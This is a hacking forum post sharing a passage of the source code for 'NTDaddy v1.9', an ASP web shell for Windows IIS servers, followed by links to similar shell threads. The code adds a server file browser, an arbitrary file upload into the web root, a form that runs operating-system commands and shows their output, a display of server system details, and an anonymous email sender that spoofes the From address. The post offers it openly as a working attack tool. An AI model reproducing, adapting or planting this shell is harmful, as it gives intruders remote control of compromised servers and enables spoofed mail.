  653. <STYLE>
  654. BODY
  655. {scrollbar-face-color: #f8f8ff; scrollbar-shadow-color: #cccccc;
  656. scrollbar-highlight-color: #cccccc; scrollbar-3dlight-color: #cccccc;
  657. scrollbar-darkshadow-color: #000000; scrollbar-track-color: #000000;
  658. scrollbar-arrow-color: #000000}
  659. </STYLE>
  660. </head>
  661. <body bgcolor=#000000 text=#ffffff>
  662. <center>
  663. <font size="18" color="#ffffff">NTDaddy | fux0r inc.</font>
  664. <hr color="#ffffff">
  665. <table border=1 width="100%" color="#fffff">
  666. <tr>
  667. <td align=center width=100% bgcolor=#ffffff><font color=#000000><a name=lblCurrentPath value=
  668. <%
  669. FP=Request.Form("FolderPath")
  670. if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
  671. FP=request.form("RefreshFolderPath")
  672. end if
  673. response.write(chr(34) & IP & chr(34) & ">" & FP)
  674. %>
  675. </a></td>
  676. </tr>
  677. </table>
  678. <table border=0 cellspacing=1 bordercolor="#ffffff" width=100% height=100%>
  679. <tr colspan=3><td align=left colspan=3><% =ShowDriveLetters() %></td>
  680. <td align=center></td></tr>
  681. <tr valign=top width=100%><td align=left><% =ShowFolderNames() %></td>
  682. <td align=right><% =ShowFileNames() %></td>
  683. </tr>
  684. </table>
  685. <br><hr color="#ffffff"><br>
  686. <table cellpadding="3" cellspacing="3" border="5" bordercolor="#ffffff">
  687. <tr>
  688. <td align="left" bgcolor="#F8F8FF">
  689. <font color="#000000" size="4"><b>• Remote Info.</b></font>
  690. </td>
  691. <td align="left" bgcolor="#F8F8FF">
  692. <font color="#000000" size="4"><b>• Local Info.</b></font>
  693. </td>
  694. </tr>
  695. <tr>
  696. <td align=left>
  697. <div align=left><font size="3">
  698. <b>User</b>: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> <br>
  699. <b>ID</b>: <%=request.servervariables("SERVER_NAME")%> <br>
  700. <b>IP</b>: <%=request.servervariables("LOCAL_ADDR")%> <br>
  701. <b>HTTPD</b>: <%=request.servervariables("SERVER_SOFTWARE")%> <b>Port</b>: <%=request.servervariables("SERVER_PORT")%> <br>
  702. <b>Webroot</b>: <%=request.servervariables("APPL_PHYSICAL_PATH")%> <br>
  703. <b>LogRoot</b>: <%=request.servervariables("APPL_MD_PATH")%> <br>
  704. <b>Date</b>: <% =date() %> <br>
  705. <b>Time</b>: <%=time() %> <br>
  706. <b>HTTPs</b>: <%=request.servervariables("HTTPS")%>
  707. <br></font></div>
  708. </td>
  709. <td align="left" valign="top">
  710. <b>Local Addr (What they see.)</b>: <%=request.servervariables("REMOTE_ADDR")%> <br>
  711. <b>Forwarded from</b> : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> <br>
  712. <b>Via</b>: <%=request.servervariables("HTTP_VIA")%> <br>
  713. <b>User Agent</b>: <%=request.servervariables("HTTP_USER_AGENT")%> <br>
  714. <b>Wookie</b>: <%=request.servervariables("HTTP_WOOKIE")%> <br>
  715. <b>Cache Control</b>: <%=request.servervariables("HTTP_CACHE_CONTROL")%> <br>
  716. <b>Interface</b>: <%=request.servervariables("GATEWAY_INTERFACE")%> <br>
  717. <b>Protocol</b>: <%=request.servervariables("SERVER_PROTOCOL")%> <br>
  718. <b>Method</b>: <%=request.servervariables("REQUEST_METHOD")%>
  719. </td>
  720. </tr>
  721. </table>
  722. <br>
  723. <hr color="#ffffff">
  724. <br>
  725. <table cellpadding="3" cellspacing"1" bordercolor="#F8F8FF" border=5>
  726. <tr>
  727. <td align="left" bgcolor="#F8F8FF">
  728. <font size="2" color="#000000"><b>• File Upload Utility</b></font></td>
  729. </tr>
  730. <tr>
  731. <td align="left">
  732. <form method=post ENCTYPE="multipart/form-data">
  733. <b>File</b> : <input type="file" size="35" name="File1"><br>
  734. <input type="submit" Name="Action" value="Upload the file">
  735. </form></td>
  736. </tr>
  737. <tr>
  738. <td align="left" bgcolor="#F8F8FF">
  739. <font size="2" color="#000000"><b>• RAW D.O.S. COMMAND INTERFACE</b></font></td>
  740. </tr>
  741. <tr valign="top">
  742. <td align="left">
  743. <form action="<%= Request.ServerVariables("URL") %>" method="POST">
  744. <p><input type="text" name=".CMD" size="45" value="<%= szCMD %>"> <input type="submit" value="Run"> </p>
  745. </form>
  746. <pre>
  747. <%
  748. If (IsObject(oFile)) Then
  749. On Error Resume Next
  750. Response.Write Server.HTMLEncode(oFile.ReadAll)
  751. oFile.Close
  752. Call oFileSys.DeleteFile(szTempFile, True)
  753. End If%>
  754. </pre>
  755. </td>
  756. </tr>
  757. </table>
  758. <br>
  759. <hr color="#ffffff">
  760. <br>
  761. <form action=ntdaddy.asp method=post>
  762. <form action=ntdaddy.asp method=post>
  763. <table border=3 cellpadding="3" cellspacing="2" bordercolor="#ffffff" width="400">
  764. <tr>
  765. <td bgcolor="#F8F8FF" colspan="2"><font color="#000000" align="left"><b>• Anonymous Email Utility</b></font></td>
  766. <tr>
  767. <td bgcolor="#F8F8FF"><font color="#000000"><b>From:</b></font> </td>
  768. <td><input name=From size=30 style="HEIGHT: 22px; WIDTH: 321px"></td></tr>
  769. <tr>
  770. <td bgcolor="#F8F8FF"><font color="#000000"><b>To:</b></font> </td>
  771. <td><input name=To size=30 style="HEIGHT: 22px; WIDTH: 321px"></td></tr>
  772. <tr>
  773. <td bgcolor="#F8F8FF"><font color="#000000"><b>Subject:</b></font> </td>
  774. <td><input name=Subject size=30 style="HEIGHT: 22px; WIDTH: 321px"></td></tr>
  775. <tr>
  776. <td valign="top" bgcolor="#F8F8FF"><font color="#000000"><b>Body:</b></font> </td>
  777. <td><textarea cols=30 name=Body rows=5 style="HEIGHT: 86px; WIDTH: 322px" wrap=virtual></textarea></td>
  778. </tr>
  779. <tr>
  780. <td align="right" bgcolor="#F8F8FF" colspan="2">
  781. <input type="submit" value="Send Mail">
  782. <input type="hidden" name="flag" value="1"></td>
  783. </tr>
  784. </table>
  785. <br>
  786. <hr color="#ffffff">
  787. <font size="#ffffff"><center>•[ <b>NTDaddy v1.9</b> ][ by obzerve ][ for the brothers of <b>fux0r inc.</b> 2k+1 ]•</b></center></font>
  788. </body>
  789. </html>
  790. <SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
  791. Const IncludeType = 2
  792. Dim UploadSizeLimit
  793. Function GetUpload()
  794. Dim Result
  795. Set Result = Nothing
  796. If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
  797. Dim CT, PosB, Boundary, Length, PosE
  798. CT = Request.ServerVariables("HTTP_Content_Type")
  799. If LCase(Left(CT, 19)) = "multipart/form-data" Then
  800. PosB = InStr(LCase(CT), "boundary=")
  801. If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
  802. PosB = InStr(LCase(CT), "boundary=")
  803. If PosB > 0 then
  804. PosB = InStr(Boundary, ",")
  805. If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
  806. end if
  807. Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
  808. If "" & UploadSizeLimit <> "" Then
  809. UploadSizeLimit = CLng(UploadSizeLimit)
  810. If Length > UploadSizeLimit Then
  811. Request.BinaryRead (Length)
  812. Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
  813. Exit Function
  814. End If
  815. End If
  816. If Length > 0 And Boundary <> "" Then
  817. Boundary = "--" & Boundary
  818. Dim Head, Binary
  819. Binary = Request.BinaryRead(Length)
  820. Set Result = SeparateFields(Binary, Boundary)
  821. Binary = Empty
  822. Else
  823. Err.Raise 10, "GetUpload", "Zero length request ."
  824. End If
  825. Else
  826. Err.Raise 11, "GetUpload", "No file sent."
  827. End If
  828. Else
  829. Err.Raise 1, "GetUpload", "Bad request method."
  830. End If
  831. Set GetUpload = Result
  832. End Function
  833. Function SeparateFields(Binary, Boundary)
  834. Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
  835. Dim Fields
  836. Boundary = StringToBinary(Boundary)
  837. PosOpenBoundary = InStrB(Binary, Boundary)
  838. PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
  839. Set Fields = CreateObject("Scripting.Dictionary")
  840. Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
  841. Dim HeaderContent, FieldContent, bFieldContent
  842. Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
  843. Dim Field, TwoCharsAfterEndBoundary
  844. PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
  845. HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
  846. bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
  847. GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
  848. Set Field = CreateUploadField()
  849. Set FieldContent = CreateBinaryData()
  850. FieldContent.ByteArray = bFieldContent
  851. FieldContent.Length = LenB(bFieldContent)
  852. Field.Name = FormFieldName
  853. Field.ContentDisposition = Content_Disposition
  854. Field.FilePath = SourceFileName
  855. Field.FileName = GetFileName(SourceFileName)
  856. Field.ContentType = Content_Type
  857. Field.Length = FieldContent.Length
  858. Set Field.Value = FieldContent
  859. Fields.Add FormFieldName, Field
  860. TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
  861. isLastBoundary = TwoCharsAfterEndBoundary = "--"
  862. If Not isLastBoundary Then
  863. PosOpenBoundary = PosCloseBoundary
  864. PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
  865. End If
  866. Loop
  867. Set SeparateFields = Fields
  868. End Function
  869. Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
  870. Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
  871. Name = (SeparateField(Head, "name=", ";"))
  872. If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
  873. FileName = (SeparateField(Head, "filename=", ";"))
  874. If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
  875. Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
  876. End Function
  877. Function SeparateField(From, ByVal sStart, ByVal sEnd)
  878. Dim PosB, PosE, sFrom
  879. sFrom = LCase(From)
  880. PosB = InStr(sFrom, sStart)
  881. If PosB > 0 Then
  882. PosB = PosB + Len(sStart)
  883. PosE = InStr(PosB, sFrom, sEnd)
  884. If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
  885. If PosE = 0 Then PosE = Len(sFrom) + 1
  886. SeparateField = Mid(From, PosB, PosE - PosB)
  887. Else
  888. SeparateField = Empty
  889. End If
  890. End Function
  891. Function GetFileName(FullPath)
  892. Dim Pos, PosF
  893. PosF = 0
  894. For Pos = Len(FullPath) To 1 Step -1
  895. Select Case Mid(FullPath, Pos, 1)
  896. Case "/", "\": PosF = Pos + 1: Pos = 0
  897. End Select
  898. Next
  899. If PosF = 0 Then PosF = 1
  900. GetFileName = Mid(FullPath, PosF)
  901. End Function
  902. Function BinaryToString(Binary)
  903. dim cl1, cl2, cl3, pl1, pl2, pl3
  904. Dim L
  905. cl1 = 1
  906. cl2 = 1
  907. cl3 = 1
  908. L = LenB(Binary)
  909. Do While cl1<=L
  910. pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
  911. cl1 = cl1 + 1
  912. cl3 = cl3 + 1
  913. if cl3>300 then
  914. pl2 = pl2 & pl3
  915. pl3 = ""
  916. cl3 = 1
  917. cl2 = cl2 + 1
  918. if cl2>200 then
  919. pl1 = pl1 & pl2
  920. pl2 = ""
  921. cl2 = 1
  922. End If
  923. End If
  924. Loop
  925. BinaryToString = pl1 & pl2 & pl3
  926. End Function
  927. Function BinaryToStringold(Binary)
  928. Dim I, S
  929. For I = 1 To LenB(Binary)
  930. S = S & Chr(AscB(MidB(Binary, I, 1)))
  931. Next
  932. BinaryToString = S
  933. End Function
  934. Function StringToBinary(String)
  935. Dim I, B
  936. For I=1 to len(String)
  937. B = B & ChrB(Asc(Mid(String,I,1)))
  938. Next
  939. StringToBinary = B
  940. End Function
  941. Function vbsSaveAs(FileName, ByteArray)
  942. Dim FS, TextStream
  943. Set FS = CreateObject("Scripting.FileSystemObject")
  944. Set TextStream = FS.CreateTextFile(FileName)
  945. TextStream.Write BinaryToString(ByteArray)
  946. TextStream.Close
  947. End Function
  948. </SCRIPT>
  949. <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
  950. function CreateUploadField(){ return new uf_Init() }
  951. function uf_Init(){
  952. this.Name = null
  953. this.ContentDisposition = null
  954. this.FileName = null
  955. this.FilePath = null
  956. this.ContentType = null
  957. this.Value = null
  958. this.Length = null
  959. }
  960. function CreateBinaryData(){ return new bin_Init() }
  961. function bin_Init(){
  962. this.ByteArray = null
  963. this.Length = null
  964. this.String = jsBinaryToString
  965. this.SaveAs = jsSaveAs
  966. }
  967. function jsBinaryToString(){
  968. return BinaryToString(this.ByteArray)
  969. }
  970. function jsSaveAs(FileName){
  971. return vbsSaveAs(FileName, this.ByteArray)
  972. }
  973. </SCRIPT>
  974. <%
  975. If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
  976. Set Fields = GetUpload()
  977. FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
  978. Fields("File1").Value.SaveAs FilePath
  979. End If
  980. %>
  981. <%
  982. Else
  983. Dim anonFrom,anonTo,anonSubj,anonBody
  984. anonFrom = request.form("From")
  985. anonTo = request.form("To")
  986. anonSubj = request.form("Subject")
  987. anonBody = request.form("Body")
  988. Set objMail = CreateObject("CDONTS.NewMail")
  989. objMail.From=anonFrom
  990. objMail.To=anonTo
  991. objMail.Subject=anonSubj
  992. objMail.Body=anonBody
  993. intReturn=objMail.Send()
  994. %>
  995. <html>
  996. <head><title>|[NTDaddy v1.9 | anon email]</title></head>
  997. <h1>Message sent successfully!</h1><br><br><br>
  998. <table border=0 cellpadding="0" cellspacing="3">
  999. <tr>
  1000. <td>
  1001. <input type='button' value='Back' onclick=history.back()> </td>
  1002. <td>
  1003. <h2>[NTDaddy v1.9 - obzerve | fux0r inc.]</h2> </td>
  1004. </tr>
  1005. </table>
  1006. </html>
  1007. <%
  1008. End if
  1009. %>
  1010.  

Saludos!
ANTRAX


 

¿Te gustó el post? COMPARTILO!



[PHP] Worse Linux Shell

Iniciado por ANTRAX

Respuestas: 2
Vistas: 2718
Último mensaje Marzo 26, 2013, 05:40:49 pm
por Xt3mP
Python Web Shell WSO 0.1 - Undetectable By WAF

Iniciado por sm0ke

Respuestas: 0
Vistas: 1387
Último mensaje Mayo 17, 2018, 01:54:19 am
por sm0ke
Priv Shell Scanner!

Iniciado por Mayk0

Respuestas: 0
Vistas: 2253
Último mensaje Mayo 07, 2013, 08:45:20 pm
por Mayk0
Reverse Shell Django

Iniciado por hdbreaker

Respuestas: 0
Vistas: 2738
Último mensaje Octubre 01, 2014, 12:40:08 am
por hdbreaker
Fenix Shell (C99 Traducido)

Iniciado por ANTRAX

Respuestas: 13
Vistas: 7848
Último mensaje Mayo 27, 2016, 12:28:12 pm
por blackdrake